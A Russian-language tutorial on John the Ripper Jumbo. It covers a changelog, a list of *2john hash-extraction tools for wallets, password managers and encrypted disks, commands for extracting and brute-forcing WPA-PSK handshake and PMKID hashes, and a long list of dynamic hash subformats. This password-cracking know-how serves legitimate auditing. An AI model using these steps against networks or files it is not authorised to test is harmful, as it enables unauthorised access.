  • Обновлено ядро самого JTR-а
  • Добавлена куча новых форматов для взлома, всего чуть > 400 (считая динамические форматы, например, SHA1(Md5(соль/пароль/соль), которые можно генерировать самому крэкеру без навыков программирования, и тут, и не только тут Hashcat может только позавидовать
  • Добавлено 6000+ коммитов (исправлений/дополнений)
  • Отказ от поддержки CUDA из-за отсутствия интереса и ориентирование на OpenCL, который является более портативным для Nvidia и AMD, а также отлично работает на картах NVIDIA (на самом деле, много круче, чем CUDA)
  • Добавлено множество новых опций (некоторые слабо задокументированные, а некоторые вообще не имеют документации и относятся к "фишкам").

Подробный официальный Changes-Jumbo здесь.

Вот в чём дело: для ПРО-инструментов таких, как Burp/Metasploit/Wireshark.... бесконечное число руководств на разных языках, но в рунете, да и в целом интернете - НЕТ подробного tutorial-а по JTR-у, неплохое (на самом деле, IMHO, лучшее в свое время ru) руководство по JTR-у вышло более 10 лет назад. Но за это время изменения в Профессиональном ПО JTR произошли колоссальные, а 2007 года ru-пособие JTR-а морально устарело и не охватывает большую часть функционала на сегодняшний майский день 2019 года.

Мануал

1. JtR WPA-PSK
Как с помощью этой программы расшифровать:

  • 4-этапное рукопожатие EAPOL
  • неполное рукопожатие RSN PMKID , полученное от wifi точки доступа без клиентов

Итак, для восстановления паролей в JtR (для многих форматов) синтаксис прост:

  • А) вытягивание/вычисление хэша из файла для JtR препроцессора (не всегда/но почти, зависит от взламываемого формата) и
  • Б) брутфорс этого хэша.

В JtR для вытягивания хэшей существует подинструменты *2john

Spoiler: Подинструменты для Windows, аналогично и для Linux

bitlocker2john.exe
dmg2john.exe
gpg2john.exe
hccap2john.exe
keepass2john.exe
putty2john.exe
racf2john.exe
rar2john.exe
uaf2john.exe
wpapcap2john.exe
zip2john.exe
mongodb2john.js
network2john.lua
README.7z2john.md
7z2john.pl
aix2john.pl
cisco2john.pl
itunes_backup2john.pl
ldif2john.pl
lion2john.pl
lion2john-alt.pl
pdf2john.pl
radius2john.pl
sap2john.pl
vdi2john.pl
1password2john.py
adxcsouf2john.py
aem2john.py
aix2john.py
andotp2john.py
androidbackup2john.py
androidfde2john.py
ansible2john.py
apex2john.py
applenotes2john.py
aruba2john.py
axcrypt2john.py
bestcrypt2john.py
bitcoin2john.py
bitshares2john.py
bitwarden2john.py
bks2john.py
blockchain2john.py
ccache2john.py
cracf2john.py
dashlane2john.py
deepsound2john.py
diskcryptor2john.py
dmg2john.py
DPAPImk2john.py
ecryptfs2john.py
ejabberd2john.py
electrum2john.py
encfs2john.py
enpass2john.py
ethereum2john.py
filezilla2john.py
geli2john.py
hccapx2john.py
htdigest2john.py
ibmiscanner2john.py
ikescan2john.py
iwork2john.py
kdcdump2john.py
keychain2john.py
keyring2john.py
keystore2john.py
kirbi2john.py
known_hosts2john.py
krb2john.py
kwallet2john.py
lastpass2john.py
libreoffice2john.py
lotus2john.py
luks2john.py
mac2john.py
mac2john-alt.py
mcafee_epo2john.py
monero2john.py
money2john.py
mozilla2john.py
multibit2john.py
neo2john.py
office2john.py
openbsd_softraid2john.py
openssl2john.py
padlock2john.py
pcap2john.py
pem2john.py
pfx2john.py
pgpdisk2john.py
pgpsda2john.py
pgpwde2john.py
prosody2john.py
ps_token2john.py
pse2john.py
pwsafe2john.py
radius2john.py
signal2john.py
sipdump2john.py
ssh2john.py
sspr2john.py
staroffice2john.py
strip2john.py
telegram2john.py
tezos2john.py
truecrypt2john.py
vmx2john.py
pcap2john.readme.txt

В JtR поддерживается еще добрая сотня динамических субформатов: например SHA1/2/MD5/пароль/соль и пд., с ними: динам.форматами нужно быть "нежнее".

WPA-PSK

Вариант #1 (Правильный)

Как вытягивать хэш из Wifi? так же как и в PDF и X_Wallet и в <...>, синтаксис один и тот же:
$ ~/*2john* рукопожатие.cap > ~/хэш #извлекаем из рукопожатия "хэш" и перенаправляем вывод в файл хэш

На скрине: вытягивание хэша с помощью "wpapcap2john" из рукопожатия (без перенаправления (замазанный)), а ниже команда перенаправление этого хэша для Джоновского препроцессора в файл хэш.

Далее запускаем атаку на наш хэш рукопожатие/рукопожатия (если у нас куча "хэшей" в файле хэш)
Самый простой синтаксис и "бессмысленный"
Атака на wpa-psk

john2 - alias.
Запуск атаки без опций на хэш рукопожатия (но! всегда надо добавлять кучу ключей/флагов) приведет к быстрой пробежке по внутреннему словарю JtR, режиму одиночного взлома и тупой бесконечный перебор - так никто никогда не брутит, и этот пример только для простого понимания: так составлена команда).

Многие форматы имеют самоопределение "хэшей" из файла "хэш", но иногда "хэш" необходимо указывать вручную (часто, тк., например md5 и NTLM имеют одинаковую длину: 32 символа в HEX), например, $ john --format=raw-md5 ~/хэш

Вариант #2 хмурый
Извлечение хэша из рукопожатия.cap для Джоновского препроцессора с помощью сторонних инструментов (aircrack-ng > Hashcat > JtR)
$ aircrack-ng ~/рукопожатие.cap -J ~/файл.cap && hccap2john ~/файл.cap > ~/хэш #Конвертируем cap в формат Hashcat-а и из Hashcat-а конвертируем в Джновский формат.

Вариант #3 современный/нерабочий
Для PMKID (~в это время первыми, а сейчас уже все умеют pmkid захватывать) вышли современные инструменты для захвата/конвертирования хэша "pmkid" для JtR или Hashcata. hcxtools/hcxdumptool.
И сторонний подинструмент извлечения хэша из кадров hcxtools/wlanhcx2john для Джоновского препроцессора неправильно конвертировал форматы (для Hashcat-a правильно). Может сейчас поправили конвертер, но зачем он нужен, когда есть "Вариант #1".

Поддерживаемые форматы JTR CPU + OpenCL (брут на GPU, компилировать инструмент нужно по другому)


Поддержка форматов для брутфорс атаки в JtR - [1-CPU]; [2-GPU]

ну и поддержка cубформатов

Spoiler: Субформаты

Format = dynamic_0 type = dynamic_0: md5($p) (raw-md5)
Format = dynamic_1 type = dynamic_1: md5($p.$s) (joomla)
Format = dynamic_2 type = dynamic_2: md5(md5($p)) (e107)
Format = dynamic_3 type = dynamic_3: md5(md5(md5($p)))
Format = dynamic_4 type = dynamic_4: md5($s.$p) (OSC)
Format = dynamic_5 type = dynamic_5: md5($s.$p.$s)
Format = dynamic_6 type = dynamic_6: md5(md5($p).$s)
Format = dynamic_8 type = dynamic_8: md5(md5($s).$p)
Format = dynamic_9 type = dynamic_9: md5($s.md5($p))
Format = dynamic_10 type = dynamic_10: md5($s.md5($s.$p))
Format = dynamic_11 type = dynamic_11: md5($s.md5($p.$s))
Format = dynamic_12 type = dynamic_12: md5(md5($s).md5($p)) (IPB)
Format = dynamic_13 type = dynamic_13: md5(md5($p).md5($s))
Format = dynamic_14 type = dynamic_14: md5($s.md5($p).$s)
Format = dynamic_15 type = dynamic_15: md5($u.md5($p).$s)
Format = dynamic_16 type = dynamic_16: md5(md5(md5($p).$s).$s2)
Format = dynamic_18 type = dynamic_18: md5($s.Y.$p.0xF7.$s) (Post.Office MD5)
Format = dynamic_19 type = dynamic_19: md5($p) (Cisco PIX)
Format = dynamic_20 type = dynamic_20: md5($p.$s) (Cisco ASA)
Format = dynamic_22 type = dynamic_22: md5(sha1($p))
Format = dynamic_23 type = dynamic_23: sha1(md5($p))
Format = dynamic_24 type = dynamic_24: sha1($p.$s)
Format = dynamic_25 type = dynamic_25: sha1($s.$p)
Format = dynamic_26 type = dynamic_26: sha1($p) raw-sha1
Format = dynamic_29 type = dynamic_29: md5(utf16($p))
Format = dynamic_30 type = dynamic_30: md4($p) (raw-md4)
Format = dynamic_31 type = dynamic_31: md4($s.$p)
Format = dynamic_32 type = dynamic_32: md4($p.$s)
Format = dynamic_33 type = dynamic_33: md4(utf16($p))
Format = dynamic_34 type = dynamic_34: md5(md4($p))
Format = dynamic_35 type = dynamic_35: sha1(uc($u).:.$p) (ManGOS)
Format = dynamic_36 type = dynamic_36: sha1($u.:.$p) (ManGOS2)
Format = dynamic_37 type = dynamic_37: sha1(lc($u).$p) (SMF)
Format = dynamic_38 type = dynamic_38: sha1($s.sha1($s.sha1($p))) (Wolt3BB)
Format = dynamic_39 type = dynamic_39: md5($s.pad16($p)) (net-md5)
Format = dynamic_40 type = dynamic_40: sha1($s.pad20($p)) (net-sha1)
Format = dynamic_50 type = dynamic_50: sha224($p)
Format = dynamic_51 type = dynamic_51: sha224($s.$p)
Format = dynamic_52 type = dynamic_52: sha224($p.$s)
Format = dynamic_53 type = dynamic_53: sha224(sha224($p))
Format = dynamic_54 type = dynamic_54: sha224(sha224_raw($p))
Format = dynamic_55 type = dynamic_55: sha224(sha224($p).$s)
Format = dynamic_56 type = dynamic_56: sha224($s.sha224($p))
Format = dynamic_57 type = dynamic_57: sha224(sha224($s).sha224($p))
Format = dynamic_58 type = dynamic_58: sha224(sha224($p).sha224($p))
Format = dynamic_60 type = dynamic_60: sha256($p)
Format = dynamic_61 type = dynamic_61: sha256($s.$p)
Format = dynamic_62 type = dynamic_62: sha256($p.$s)
Format = dynamic_63 type = dynamic_63: sha256(sha256($p))
Format = dynamic_64 type = dynamic_64: sha256(sha256_raw($p))
Format = dynamic_65 type = dynamic_65: sha256(sha256($p).$s)
Format = dynamic_66 type = dynamic_66: sha256($s.sha256($p))
Format = dynamic_67 type = dynamic_67: sha256(sha256($s).sha256($p))
Format = dynamic_68 type = dynamic_68: sha256(sha256($p).sha256($p))
Format = dynamic_70 type = dynamic_70: sha384($p)
Format = dynamic_71 type = dynamic_71: sha384($s.$p)
Format = dynamic_72 type = dynamic_72: sha384($p.$s)
Format = dynamic_73 type = dynamic_73: sha384(sha384($p))
Format = dynamic_74 type = dynamic_74: sha384(sha384_raw($p))
Format = dynamic_75 type = dynamic_75: sha384(sha384($p).$s)
Format = dynamic_76 type = dynamic_76: sha384($s.sha384($p))
Format = dynamic_77 type = dynamic_77: sha384(sha384($s).sha384($p))
Format = dynamic_78 type = dynamic_78: sha384(sha384($p).sha384($p))
Format = dynamic_80 type = dynamic_80: sha512($p)
Format = dynamic_81 type = dynamic_81: sha512($s.$p)
Format = dynamic_82 type = dynamic_82: sha512($p.$s)
Format = dynamic_83 type = dynamic_83: sha512(sha512($p))
Format = dynamic_84 type = dynamic_84: sha512(sha512_raw($p))
Format = dynamic_85 type = dynamic_85: sha512(sha512($p).$s)
Format = dynamic_86 type = dynamic_86: sha512($s.sha512($p))
Format = dynamic_90 type = dynamic_90: gost($p)
Format = dynamic_91 type = dynamic_91: gost($s.$p)
Format = dynamic_92 type = dynamic_92: gost($p.$s)
Format = dynamic_93 type = dynamic_93: gost(gost($p))
Format = dynamic_94 type = dynamic_94: gost(gost_raw($p))
Format = dynamic_95 type = dynamic_95: gost(gost($p).$s)
Format = dynamic_96 type = dynamic_96: gost($s.gost($p))
Format = dynamic_97 type = dynamic_97: gost(gost($s).gost($p))
Format = dynamic_98 type = dynamic_98: gost(gost($p).gost($p))
Format = dynamic_100 type = dynamic_100: whirlpool($p)
Format = dynamic_101 type = dynamic_101: whirlpool($s.$p)
Format = dynamic_102 type = dynamic_102: whirlpool($p.$s)
Format = dynamic_103 type = dynamic_103: whirlpool(whirlpool($p))
Format = dynamic_104 type = dynamic_104: whirlpool(whirlpool_raw($p))
Format = dynamic_105 type = dynamic_105: whirlpool(whirlpool($p).$s)
Format = dynamic_106 type = dynamic_106: whirlpool($s.whirlpool($p))
Format = dynamic_107 type = dynamic_107: whirlpool(whirlpool($s).whirlpool($p))
Format = dynamic_108 type = dynamic_108: whirlpool(whirlpool($p).whirlpool($p))
Format = dynamic_110 type = dynamic_110: tiger($p)
Format = dynamic_111 type = dynamic_111: tiger($s.$p)
Format = dynamic_112 type = dynamic_112: tiger($p.$s)
Format = dynamic_113 type = dynamic_113: tiger(tiger($p))
Format = dynamic_114 type = dynamic_114: tiger(tiger_raw($p))
Format = dynamic_115 type = dynamic_115: tiger(tiger($p).$s)
Format = dynamic_116 type = dynamic_116: tiger($s.tiger($p))
Format = dynamic_117 type = dynamic_117: tiger(tiger($s).tiger($p))
Format = dynamic_118 type = dynamic_118: tiger(tiger($p).tiger($p))
Format = dynamic_120 type = dynamic_120: ripemd128($p)
Format = dynamic_121 type = dynamic_121: ripemd128($s.$p)
Format = dynamic_122 type = dynamic_122: ripemd128($p.$s)
Format = dynamic_123 type = dynamic_123: ripemd128(ripemd128($p))
Format = dynamic_124 type = dynamic_124: ripemd128(ripemd128_raw($p))
Format = dynamic_125 type = dynamic_125: ripemd128(ripemd128($p).$s)
Format = dynamic_126 type = dynamic_126: ripemd128($s.ripemd128($p))
Format = dynamic_127 type = dynamic_127: ripemd128(ripemd128($s).ripemd128($p))
Format = dynamic_128 type = dynamic_128: ripemd128(ripemd128($p).ripemd128($p))
Format = dynamic_130 type = dynamic_130: ripemd160($p)
Format = dynamic_131 type = dynamic_131: ripemd160($s.$p)
Format = dynamic_132 type = dynamic_132: ripemd160($p.$s)
Format = dynamic_133 type = dynamic_133: ripemd160(ripemd160($p))
Format = dynamic_134 type = dynamic_134: ripemd160(ripemd160_raw($p))
Format = dynamic_135 type = dynamic_135: ripemd160(ripemd160($p).$s)
Format = dynamic_136 type = dynamic_136: ripemd160($s.ripemd160($p))
Format = dynamic_137 type = dynamic_137: ripemd160(ripemd160($s).ripemd160($p))
Format = dynamic_138 type = dynamic_138: ripemd160(ripemd160($p).ripemd160($p))
Format = dynamic_140 type = dynamic_140: ripemd256($p)
Format = dynamic_141 type = dynamic_141: ripemd256($s.$p)
Format = dynamic_142 type = dynamic_142: ripemd256($p.$s)
Format = dynamic_143 type = dynamic_143: ripemd256(ripemd256($p))
Format = dynamic_144 type = dynamic_144: ripemd256(ripemd256_raw($p))
Format = dynamic_145 type = dynamic_145: ripemd256(ripemd256($p).$s)
Format = dynamic_146 type = dynamic_146: ripemd256($s.ripemd256($p))
Format = dynamic_147 type = dynamic_147: ripemd256(ripemd256($s).ripemd256($p))
Format = dynamic_148 type = dynamic_148: ripemd256(ripemd256($p).ripemd256($p))
Format = dynamic_150 type = dynamic_150: ripemd320($p)
Format = dynamic_151 type = dynamic_151: ripemd320($s.$p)
Format = dynamic_152 type = dynamic_152: ripemd320($p.$s)
Format = dynamic_153 type = dynamic_153: ripemd320(ripemd320($p))
Format = dynamic_154 type = dynamic_154: ripemd320(ripemd320_raw($p))
Format = dynamic_155 type = dynamic_155: ripemd320(ripemd320($p).$s)
Format = dynamic_156 type = dynamic_156: ripemd320($s.ripemd320($p))
Format = dynamic_157 type = dynamic_157: ripemd320(ripemd320($s).ripemd320($p))
Format = dynamic_158 type = dynamic_158: ripemd320(ripemd320($p).ripemd320($p))
Format = dynamic_160 type = dynamic_160: haval128_3($p)
Format = dynamic_161 type = dynamic_161: haval128_3($s.$p)
Format = dynamic_162 type = dynamic_162: haval128_3($p.$s)
Format = dynamic_163 type = dynamic_163: haval128_3(haval128_3($p))
Format = dynamic_164 type = dynamic_164: haval128_3(haval128_3_raw($p))
Format = dynamic_165 type = dynamic_165: haval128_3(haval128_3($p).$s)
Format = dynamic_166 type = dynamic_166: haval128_3($s.haval128_3($p))
Format = dynamic_167 type = dynamic_167: haval128_3(haval128_3($s).haval128_3($p))
Format = dynamic_168 type = dynamic_168: haval128_3(haval128_3($p).haval128_3($p))
Format = dynamic_170 type = dynamic_170: haval128_4($p)
Format = dynamic_171 type = dynamic_171: haval128_4($s.$p)
Format = dynamic_172 type = dynamic_172: haval128_4($p.$s)
Format = dynamic_173 type = dynamic_173: haval128_4(haval128_4($p))
Format = dynamic_174 type = dynamic_174: haval128_4(haval128_4_raw($p))
Format = dynamic_175 type = dynamic_175: haval128_4(haval128_4($p).$s)
Format = dynamic_176 type = dynamic_176: haval128_4($s.haval128_4($p))
Format = dynamic_177 type = dynamic_177: haval128_4(haval128_4($s).haval128_4($p))
Format = dynamic_178 type = dynamic_178: haval128_4(haval128_4($p).haval128_4($p))
Format = dynamic_180 type = dynamic_180: haval128_5($p)
Format = dynamic_181 type = dynamic_181: haval128_5($s.$p)
Format = dynamic_182 type = dynamic_182: haval128_5($p.$s)
Format = dynamic_183 type = dynamic_183: haval128_5(haval128_5($p))
Format = dynamic_184 type = dynamic_184: haval128_5(haval128_5_raw($p))
Format = dynamic_185 type = dynamic_185: haval128_5(haval128_5($p).$s)
Format = dynamic_186 type = dynamic_186: haval128_5($s.haval128_5($p))
Format = dynamic_187 type = dynamic_187: haval128_5(haval128_5($s).haval128_5($p))
Format = dynamic_188 type = dynamic_188: haval128_5(haval128_5($p).haval128_5($p))
Format = dynamic_190 type = dynamic_190: haval160_3($p)
Format = dynamic_191 type = dynamic_191: haval160_3($s.$p)
Format = dynamic_192 type = dynamic_192: haval160_3($p.$s)
Format = dynamic_193 type = dynamic_193: haval160_3(haval160_3($p))
Format = dynamic_194 type = dynamic_194: haval160_3(haval160_3_raw($p))
Format = dynamic_195 type = dynamic_195: haval160_3(haval160_3($p).$s)
Format = dynamic_196 type = dynamic_196: haval160_3($s.haval160_3($p))
Format = dynamic_197 type = dynamic_197: haval160_3(haval160_3($s).haval160_3($p))
Format = dynamic_198 type = dynamic_198: haval160_3(haval160_3($p).haval160_3($p))
Format = dynamic_200 type = dynamic_200: haval160_4($p)
Format = dynamic_201 type = dynamic_201: haval160_4($s.$p)
Format = dynamic_202 type = dynamic_202: haval160_4($p.$s)
Format = dynamic_203 type = dynamic_203: haval160_4(haval160_4($p))
Format = dynamic_204 type = dynamic_204: haval160_4(haval160_4_raw($p))
Format = dynamic_205 type = dynamic_205: haval160_4(haval160_4($p).$s)
Format = dynamic_206 type = dynamic_206: haval160_4($s.haval160_4($p))
Format = dynamic_207 type = dynamic_207: haval160_4(haval160_4($s).haval160_4($p))
Format = dynamic_208 type = dynamic_208: haval160_4(haval160_4($p).haval160_4($p))
Format = dynamic_210 type = dynamic_210: haval160_5($p)
Format = dynamic_211 type = dynamic_211: haval160_5($s.$p)
Format = dynamic_212 type = dynamic_212: haval160_5($p.$s)
Format = dynamic_213 type = dynamic_213: haval160_5(haval160_5($p))
Format = dynamic_214 type = dynamic_214: haval160_5(haval160_5_raw($p))
Format = dynamic_215 type = dynamic_215: haval160_5(haval160_5($p).$s)
Format = dynamic_216 type = dynamic_216: haval160_5($s.haval160_5($p))
Format = dynamic_217 type = dynamic_217: haval160_5(haval160_5($s).haval160_5($p))
Format = dynamic_218 type = dynamic_218: haval160_5(haval160_5($p).haval160_5($p))
Format = dynamic_220 type = dynamic_220: haval192_3($p)
Format = dynamic_221 type = dynamic_221: haval192_3($s.$p)
Format = dynamic_222 type = dynamic_222: haval192_3($p.$s)
Format = dynamic_223 type = dynamic_223: haval192_3(haval192_3($p))
Format = dynamic_224 type = dynamic_224: haval192_3(haval192_3_raw($p))
Format = dynamic_225 type = dynamic_225: haval192_3(haval192_3($p).$s)
Format = dynamic_226 type = dynamic_226: haval192_3($s.haval192_3($p))
Format = dynamic_227 type = dynamic_227: haval192_3(haval192_3($s).haval192_3($p))
Format = dynamic_228 type = dynamic_228: haval192_3(haval192_3($p).haval192_3($p))
Format = dynamic_230 type = dynamic_230: haval192_4($p)
Format = dynamic_231 type = dynamic_231: haval192_4($s.$p)
Format = dynamic_232 type = dynamic_232: haval192_4($p.$s)
Format = dynamic_233 type = dynamic_233: haval192_4(haval192_4($p))
Format = dynamic_234 type = dynamic_234: haval192_4(haval192_4_raw($p))
Format = dynamic_235 type = dynamic_235: haval192_4(haval192_4($p).$s)
Format = dynamic_236 type = dynamic_236: haval192_4($s.haval192_4($p))
Format = dynamic_237 type = dynamic_237: haval192_4(haval192_4($s).haval192_4($p))
Format = dynamic_238 type = dynamic_238: haval192_4(haval192_4($p).haval192_4($p))
Format = dynamic_240 type = dynamic_240: haval192_5($p)
Format = dynamic_241 type = dynamic_241: haval192_5($s.$p)
Format = dynamic_242 type = dynamic_242: haval192_5($p.$s)
Format = dynamic_243 type = dynamic_243: haval192_5(haval192_5($p))
Format = dynamic_244 type = dynamic_244: haval192_5(haval192_5_raw($p))
Format = dynamic_245 type = dynamic_245: haval192_5(haval192_5($p).$s)
Format = dynamic_246 type = dynamic_246: haval192_5($s.haval192_5($p))
Format = dynamic_247 type = dynamic_247: haval192_5(haval192_5($s).haval192_5($p))
Format = dynamic_248 type = dynamic_248: haval192_5(haval192_5($p).haval192_5($p))
Format = dynamic_250 type = dynamic_250: haval224_3($p)
Format = dynamic_251 type = dynamic_251: haval224_3($s.$p)
Format = dynamic_252 type = dynamic_252: haval224_3($p.$s)
Format = dynamic_253 type = dynamic_253: haval224_3(haval224_3($p))
Format = dynamic_254 type = dynamic_254: haval224_3(haval224_3_raw($p))
Format = dynamic_255 type = dynamic_255: haval224_3(haval224_3($p).$s)
Format = dynamic_256 type = dynamic_256: haval224_3($s.haval224_3($p))
Format = dynamic_257 type = dynamic_257: haval224_3(haval224_3($s).haval224_3($p))
Format = dynamic_258 type = dynamic_258: haval224_3(haval224_3($p).haval224_3($p))
Format = dynamic_260 type = dynamic_260: haval224_4($p)
Format = dynamic_261 type = dynamic_261: haval224_4($s.$p)
Format = dynamic_262 type = dynamic_262: haval224_4($p.$s)
Format = dynamic_263 type = dynamic_263: haval224_4(haval224_4($p))
Format = dynamic_264 type = dynamic_264: haval224_4(haval224_4_raw($p))
Format = dynamic_265 type = dynamic_265: haval224_4(haval224_4($p).$s)
Format = dynamic_266 type = dynamic_266: haval224_4($s.haval224_4($p))
Format = dynamic_267 type = dynamic_267: haval224_4(haval224_4($s).haval224_4($p))
Format = dynamic_268 type = dynamic_268: haval224_4(haval224_4($p).haval224_4($p))
Format = dynamic_270 type = dynamic_270: haval224_5($p)
Format = dynamic_271 type = dynamic_271: haval224_5($s.$p)
Format = dynamic_272 type = dynamic_272: haval224_5($p.$s)
Format = dynamic_273 type = dynamic_273: haval224_5(haval224_5($p))
Format = dynamic_274 type = dynamic_274: haval224_5(haval224_5_raw($p))
Format = dynamic_275 type = dynamic_275: haval224_5(haval224_5($p).$s)
Format = dynamic_276 type = dynamic_276: haval224_5($s.haval224_5($p))
Format = dynamic_277 type = dynamic_277: haval224_5(haval224_5($s).haval224_5($p))
Format = dynamic_278 type = dynamic_278: haval224_5(haval224_5($p).haval224_5($p))
Format = dynamic_280 type = dynamic_280: haval256_3($p)
Format = dynamic_281 type = dynamic_281: haval256_3($s.$p)
Format = dynamic_282 type = dynamic_282: haval256_3($p.$s)
Format = dynamic_283 type = dynamic_283: haval256_3(haval256_3($p))
Format = dynamic_284 type = dynamic_284: haval256_3(haval256_3_raw($p))
Format = dynamic_285 type = dynamic_285: haval256_3(haval256_3($p).$s)
Format = dynamic_286 type = dynamic_286: haval256_3($s.haval256_3($p))
Format = dynamic_287 type = dynamic_287: haval256_3(haval256_3($s).haval256_3($p))
Format = dynamic_288 type = dynamic_288: haval256_3(haval256_3($p).haval256_3($p))
Format = dynamic_290 type = dynamic_290: haval256_4($p)
Format = dynamic_291 type = dynamic_291: haval256_4($s.$p)
Format = dynamic_292 type = dynamic_292: haval256_4($p.$s)
Format = dynamic_293 type = dynamic_293: haval256_4(haval256_4($p))
Format = dynamic_294 type = dynamic_294: haval256_4(haval256_4_raw($p))
Format = dynamic_295 type = dynamic_295: haval256_4(haval256_4($p).$s)
Format = dynamic_296 type = dynamic_296: haval256_4($s.haval256_4($p))
Format = dynamic_297 type = dynamic_297: haval256_4(haval256_4($s).haval256_4($p))
Format = dynamic_298 type = dynamic_298: haval256_4(haval256_4($p).haval256_4($p))
Format = dynamic_300 type = dynamic_300: haval256_5($p)
Format = dynamic_301 type = dynamic_301: haval256_5($s.$p)
Format = dynamic_302 type = dynamic_302: haval256_5($p.$s)
Format = dynamic_303 type = dynamic_303: haval256_5(haval256_5($p))
Format = dynamic_304 type = dynamic_304: haval256_5(haval256_5_raw($p))
Format = dynamic_305 type = dynamic_305: haval256_5(haval256_5($p).$s)
Format = dynamic_306 type = dynamic_306: haval256_5($s.haval256_5($p))
Format = dynamic_307 type = dynamic_307: haval256_5(haval256_5($s).haval256_5($p))
Format = dynamic_308 type = dynamic_308: haval256_5(haval256_5($p).haval256_5($p))
Format = dynamic_310 type = dynamic_310: md2($p)
Format = dynamic_311 type = dynamic_311: md2($s.$p)
Format = dynamic_312 type = dynamic_312: md2($p.$s)
Format = dynamic_313 type = dynamic_313: md2(md2($p))
Format = dynamic_314 type = dynamic_314: md2(md2_raw($p))
Format = dynamic_315 type = dynamic_315: md2(md2($p).$s)
Format = dynamic_316 type = dynamic_316: md2($s.md2($p))
Format = dynamic_317 type = dynamic_317: md2(md2($s).md2($p))
Format = dynamic_318 type = dynamic_318: md2(md2($p).md2($p))
Format = dynamic_320 type = dynamic_320: panama($p)
Format = dynamic_321 type = dynamic_321: panama($s.$p)
Format = dynamic_322 type = dynamic_322: panama($p.$s)
Format = dynamic_323 type = dynamic_323: panama(panama($p))
Format = dynamic_324 type = dynamic_324: panama(panama_raw($p))
Format = dynamic_325 type = dynamic_325: panama(panama($p).$s)
Format = dynamic_326 type = dynamic_326: panama($s.panama($p))
Format = dynamic_327 type = dynamic_327: panama(panama($s).panama($p))
Format = dynamic_328 type = dynamic_328: panama(panama($p).panama($p))
Format = dynamic_330 type = dynamic_330: skein224($p)
Format = dynamic_331 type = dynamic_331: skein224($s.$p)
Format = dynamic_332 type = dynamic_332: skein224($p.$s)
Format = dynamic_333 type = dynamic_333: skein224(skein224($p))
Format = dynamic_334 type = dynamic_334: skein224(skein224_raw($p))
Format = dynamic_335 type = dynamic_335: skein224(skein224($p).$s)
Format = dynamic_336 type = dynamic_336: skein224($s.skein224($p))
Format = dynamic_337 type = dynamic_337: skein224(skein224($s).skein224($p))
Format = dynamic_338 type = dynamic_338: skein224(skein224($p).skein224($p))
Format = dynamic_340 type = dynamic_340: skein256($p)
Format = dynamic_341 type = dynamic_341: skein256($s.$p)
Format = dynamic_342 type = dynamic_342: skein256($p.$s)
Format = dynamic_343 type = dynamic_343: skein256(skein256($p))
Format = dynamic_344 type = dynamic_344: skein256(skein256_raw($p))
Format = dynamic_345 type = dynamic_345: skein256(skein256($p).$s)
Format = dynamic_346 type = dynamic_346: skein256($s.skein256($p))
Format = dynamic_347 type = dynamic_347: skein256(skein256($s).skein256($p))
Format = dynamic_348 type = dynamic_348: skein256(skein256($p).skein256($p))
Format = dynamic_350 type = dynamic_350: skein384($p)
Format = dynamic_351 type = dynamic_351: skein384($s.$p)
Format = dynamic_352 type = dynamic_352: skein384($p.$s)
Format = dynamic_353 type = dynamic_353: skein384(skein384($p))
Format = dynamic_354 type = dynamic_354: skein384(skein384_raw($p))
Format = dynamic_355 type = dynamic_355: skein384(skein384($p).$s)
Format = dynamic_356 type = dynamic_356: skein384($s.skein384($p))
Format = dynamic_357 type = dynamic_357: skein384(skein384($s).skein384($p))
Format = dynamic_358 type = dynamic_358: skein384(skein384($p).skein384($p))
Format = dynamic_360 type = dynamic_360: skein512($p)
Format = dynamic_361 type = dynamic_361: skein512($s.$p)
Format = dynamic_362 type = dynamic_362: skein512($p.$s)
Format = dynamic_363 type = dynamic_363: skein512(skein512($p))
Format = dynamic_364 type = dynamic_364: skein512(skein512_raw($p))
Format = dynamic_365 type = dynamic_365: skein512(skein512($p).$s)
Format = dynamic_366 type = dynamic_366: skein512($s.skein512($p))
Format = dynamic_367 type = dynamic_367: skein512(skein512($s).skein512($p))
Format = dynamic_368 type = dynamic_368: skein512(skein512($p).skein512($p))
Format = dynamic_370 type = dynamic_370: sha3_224($p)
Format = dynamic_371 type = dynamic_371: sha3_224($s.$p)
Format = dynamic_372 type = dynamic_372: sha3_224($p.$s)
Format = dynamic_373 type = dynamic_373: sha3_224(sha3_224($p))
Format = dynamic_374 type = dynamic_374: sha3_224(sha3_224_raw($p))
Format = dynamic_375 type = dynamic_375: sha3_224(sha3_224($p).$s)
Format = dynamic_376 type = dynamic_376: sha3_224($s.sha3_224($p))
Format = dynamic_377 type = dynamic_377: sha3_224(sha3_224($s).sha3_224($p))
Format = dynamic_378 type = dynamic_378: sha3_224(sha3_224($p).sha3_224($p))
Format = dynamic_380 type = dynamic_380: sha3_256($p)
Format = dynamic_381 type = dynamic_381: sha3_256($s.$p)
Format = dynamic_382 type = dynamic_382: sha3_256($p.$s)
Format = dynamic_383 type = dynamic_383: sha3_256(sha3_256($p))
Format = dynamic_384 type = dynamic_384: sha3_256(sha3_256_raw($p))
Format = dynamic_385 type = dynamic_385: sha3_256(sha3_256($p).$s)
Format = dynamic_386 type = dynamic_386: sha3_256($s.sha3_256($p))
Format = dynamic_387 type = dynamic_387: sha3_256(sha3_256($s).sha3_256($p))
Format = dynamic_388 type = dynamic_388: sha3_256(sha3_256($p).sha3_256($p))
Format = dynamic_390 type = dynamic_390: sha3_384($p)
Format = dynamic_391 type = dynamic_391: sha3_384($s.$p)
Format = dynamic_392 type = dynamic_392: sha3_384($p.$s)
Format = dynamic_393 type = dynamic_393: sha3_384(sha3_384($p))
Format = dynamic_394 type = dynamic_394: sha3_384(sha3_384_raw($p))
Format = dynamic_395 type = dynamic_395: sha3_384(sha3_384($p).$s)
Format = dynamic_396 type = dynamic_396: sha3_384($s.sha3_384($p))
Format = dynamic_397 type = dynamic_397: sha3_384(sha3_384($s).sha3_384($p))
Format = dynamic_398 type = dynamic_398: sha3_384(sha3_384($p).sha3_384($p))
Format = dynamic_400 type = dynamic_400: sha3_512($p)
Format = dynamic_401 type = dynamic_401: sha3_512($s.$p)
Format = dynamic_402 type = dynamic_402: sha3_512($p.$s)
Format = dynamic_403 type = dynamic_403: sha3_512(sha3_512($p))
Format = dynamic_404 type = dynamic_404: sha3_512(sha3_512_raw($p))
Format = dynamic_405 type = dynamic_405: sha3_512(sha3_512($p).$s)
Format = dynamic_406 type = dynamic_406: sha3_512($s.sha3_512($p))
Format = dynamic_407 type = dynamic_407: sha3_512(sha3_512($s).sha3_512($p))
Format = dynamic_408 type = dynamic_408: sha3_512(sha3_512($p).sha3_512($p))
Format = dynamic_410 type = dynamic_410: keccak_256($p)
